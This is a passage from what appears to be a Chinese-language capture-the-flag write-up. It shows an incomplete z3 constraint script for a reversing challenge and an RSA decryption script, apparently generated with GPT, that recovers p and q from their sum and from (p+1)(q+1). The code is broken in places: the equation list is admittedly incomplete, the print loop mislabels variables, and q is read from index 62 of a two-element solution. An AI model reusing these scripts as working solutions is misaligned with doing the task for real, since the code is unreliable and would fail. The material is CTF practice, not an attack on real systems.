    solver.add(970 * A[19] + 504 - A[20] == 48959)
    solver.add(354 * A[20] - (A[21] + 654) == 15224)
    solver.add(A[21] + 968 - (A[22] + 419) == 500)
    solver.add(A[22] - 348 + 851 - A[23] == 552)
    solver.add(A[23] + 160 + A[24] + 790 == 1055)
    solver.add(A[24] + 696 - (870 - A[25]) == -76)
    solver.add(741 * A[25] + 661 - A[26] == 33909)
    solver.add(A[26] + 352 + 527 * A[27] == 54203)
    solver.add(A[27] + 651 + 376 - A[28] == 1078)
    solver.add(A[28] - 128 + 455 - A[29] == 277)
    solver.add(A[29] + 599 + 926 - A[30] == 1581)
    solver.add(896 * A[30] - (167 - A[31]) == 40254)
    solver.add(A[31] + 359 + 125 * A[32] == 6585)
    solver.add(A[33] + 512 + 955 * A[32] == 47357)
    solver.add(A[34] + 269 + 617 * A[33] == 31176)
    solver.add(A[34] + 858 + 173 - A[35] == 991)
    solver.add(A[35] - 215 - (191 - A[36]) == -210)
    solver.add(A[36] - 148 - (A[37] + 806) == -954)
    solver.add(A[37] + 254 - (A[38] + 360) == -63)
    solver.add(A[38] + 199 + 966 * A[39] == 98787)
    solver.add(A[39] - 740 - (682 - A[40]) == -1266)
    solver.add(A[40] - 656 - (891 - A[41]) == -1436)
    solver.add(501 * A[41] - 707 * A[42] == -40022)
    solver.add(A[42] + 959 - (915 - A[43]) == 266)
    solver.add(104 * A[43] - (819 - A[1]) == 12254)
    # ...以此类推添加剩下的方程...
    
    # 注意:方程列表不完整,因此需要补齐遗漏的方程
    
    # 求解约束
    if solver.check() == sat:
      m = solver.model()
      # 打印所有变量的解决方案
      for i in range(1, 45):
          print(f'A{i+1} = {m[A[i]].as_long()}')
    else:
      print("No solution found")
    
  • 得到输出
  • VSCODE微调后瑞士军刀一把梭
    z322.png

babyRe

  • 直接拿OUTPUT的文件拷打 GPT
  • babyre2.png
    from sympy import symbols, solve
    from Crypto.Util.number import long_to_bytes
    
    # 提供的数据
    sum_p_q = 292884018782106151080211087047278002613718113661882871562870811030932129300110050822187903340426820507419488984883216665816506575312384940488196435920320779296487709207011656728480651848786849994095965852212548311864730225380390740637527033103610408592664948012814290769567441038868614508362013860087396409860
    product_p_q_plus1 = 21292789073160227295768319780997976991300923684414991432030077313041762314144710093780468352616448047534339208324518089727210764843655182515955359309813600286949887218916518346391288151954579692912105787780604137276300957046899460796651855983154616583709095921532639371311099659697834887064510351319531902433355833604752638757132129136704458119767279776712516825379722837005380965686817229771252693736534397063201880826010273930761767650438638395019411119979149337260776965247144705915951674697425506236801595477159432369862377378306461809669885764689526096087635635247658396780671976617716801660025870405374520076160
    ciphertext = 5203005542361323780340103662023144468501161788183930759975924790394097999367062944602228590598053194005601497154183700604614648980958953643596732510635460233363517206803267054976506058495592964781868943617992245808463957957161100800155936109928340808755112091651619258385206684038063600864669934451439637410568700470057362554045334836098013308228518175901113235436257998397401389511926288739759268080251377782356779624616546966237213737535252748926042086203600860251557074440685879354169866206490962331203234019516485700964227924668452181975961352914304357731769081382406940750260817547299552705287482926593175925396
    
    # 假定的公钥指数 e
    e = 65537
    
    # 使用 sympy 解方程得到 p 和 q
    p, q = symbols('p q')
    eq1 = p + q - sum_p_q
    eq2 = (p + 1)*(q + 1) - product_p_q_plus1
    solutions = solve((eq1, eq2), (p, q))
    p = int(solutions[0][0])
    q = int(solutions[0][62])
    
    # 计算 n 和 phi(n)
    n = p * q
    phi_n = (p - 1) * (q - 1)
    
    # 计算私钥 d
    d = pow(e, -1, phi_n)
    
    # 解密消息
    m = pow(ciphertext, d, n)
    
    # 将长整数 m 转换为字节
    plaintext_bytes = long_to_bytes(m)
    
    # 尝试解码为字符串,或者直接打印字节
    try:
      plaintext = plaintext_bytes.decode('utf-8')
    except UnicodeDecodeError:
      # 如果字节不代表 UTF-8 编码的文本,就直接输出字节
      print("Decoded text could not be represented as UTF-8, here's the byte representation:")
      plaintext = plaintext_bytes
    
    print(plaintext)
    
  • babyre1.png